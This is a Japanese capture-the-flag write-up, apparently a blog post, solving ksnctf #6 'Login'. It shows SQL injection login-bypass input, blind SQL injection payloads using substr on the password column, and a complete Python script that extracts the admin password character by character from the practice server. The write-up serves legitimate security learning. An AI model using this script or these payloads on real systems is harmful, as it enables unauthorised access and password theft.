Python
python3
CTF
VSCode
ksnctf

CTFの門をたたいてみる -ksnctf#6 Login-

はじめに

常設CTFのksnctfを使った勉強の記録です。Pythonの勉強もかねてます。

環境

  • Windows10
  • Python 3.6.4
  • VS Code

Login

image.png

リンクがあるのでとりあえずみてみます。

image.png

"admin"でログインするみたいです。
他に何の情報もないので、とりあえずSQLインジェクションを試してみました。

image.png

"--"以降がコメントとみなされ、"1=1"は常に真であるので、条件式が常に真となるような記述です。

image.png

SQLインジェクションは成功したようですが、flagは"admin"のパスワードのようです。
SELECT文とか使ってうまいことパスワード表示できないかなとか考えましたが、だめそうでした。
調べてみると、ブラインドSQLインジェクションというものがあるみたいです。
ブラインドSQLインジェクションは、SQLインジェクションの脆弱性があるシステムに対して使える手法らしいです。
具体的には、

SQLインジェクション - wikipedia
SELECTの条件式にデータベース内の情報を確認するようなサブクエリーを含ませ、その抽出の成否によって本来参照することのできないテーブル名などのデータベース内の情報を知るといった、ブラインドSQLインジェクションと呼ばれる手法も存在する。

と書かれているように、挿入したSQLの応答の違いで情報を取得するというようなものみたいです。
例えば、

admin' and substr(pass, 1, 1) = "F"--

上述はIDが"admin"のユーザのパスワードの一文字目が"F"であるかどうか、というような条件式にするようなSQLインジェクションになっています。
実際にこれをIDのところに入力すると、

image.png

この手法を利用することで、パスワードを1文字ずつ明らかにしていくことが可能になります。
2文字目だったら以下のような記述になるということです。

admin' and substr(pass, 2, 1) = "L"--

これをスクリプトで1文字目から順に自動でやってもらいます。

login.py
#!/usr/bin/env python
#coding: utf-8

import urllib.request
import urllib.parse

#パスワード候補文字列
charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'

flag = ''

#先頭から順にflag文字列を探していく
for str_pos in range(21):
    for pw in charset:

        #POSTのペイロード
        payload = {'id':'admin\' and substr(pass,'+str(str_pos) +',1) = \''+pw+'\'--', 'pass': ''}

        #utf-8でエンコードしてリクエスト
        post_data = urllib.parse.urlencode(payload).encode('utf-8')
        url = "http://ctfq.sweetduet.info:10080/~q6/"
        req = urllib.request.Request(url, post_data)

        #HTTPレスポンス
        res = urllib.request.urlopen(req)

        #content-lengthが大きかったら正しい文字
        if(int(res.headers['content-length']) > 1000):
            flag += pw
            print(str(str_pos) + ':' + flag)
            break

flagに使われる文字は"大文字","小文字","数字","_"な気がしたのでそれらを使って順に試していくという感じです。
インジェクション時のレスポンスで成功しているか否かを見極めるために、"content-Length"の大きさを使っています。

ターミナル
$ python login.py
1:F
2:FL
3:FLA
4:FLAG
5:FLAG_
6:FLAG_*
7:FLAG_**
8:FLAG_***
9:FLAG_****
10:FLAG_*****
11:FLAG_******
12:FLAG_*******
13:FLAG_********
14:FLAG_*********
15:FLAG_**********
16:FLAG_***********
17:FLAG_************
18:FLAG_*************
19:FLAG_**************
20:FLAG_***************

一文字ずつ明らかになっていき、無事flagが得られました。

まとめ

一文字ずつ出力されていく感じはみてて楽しかったです。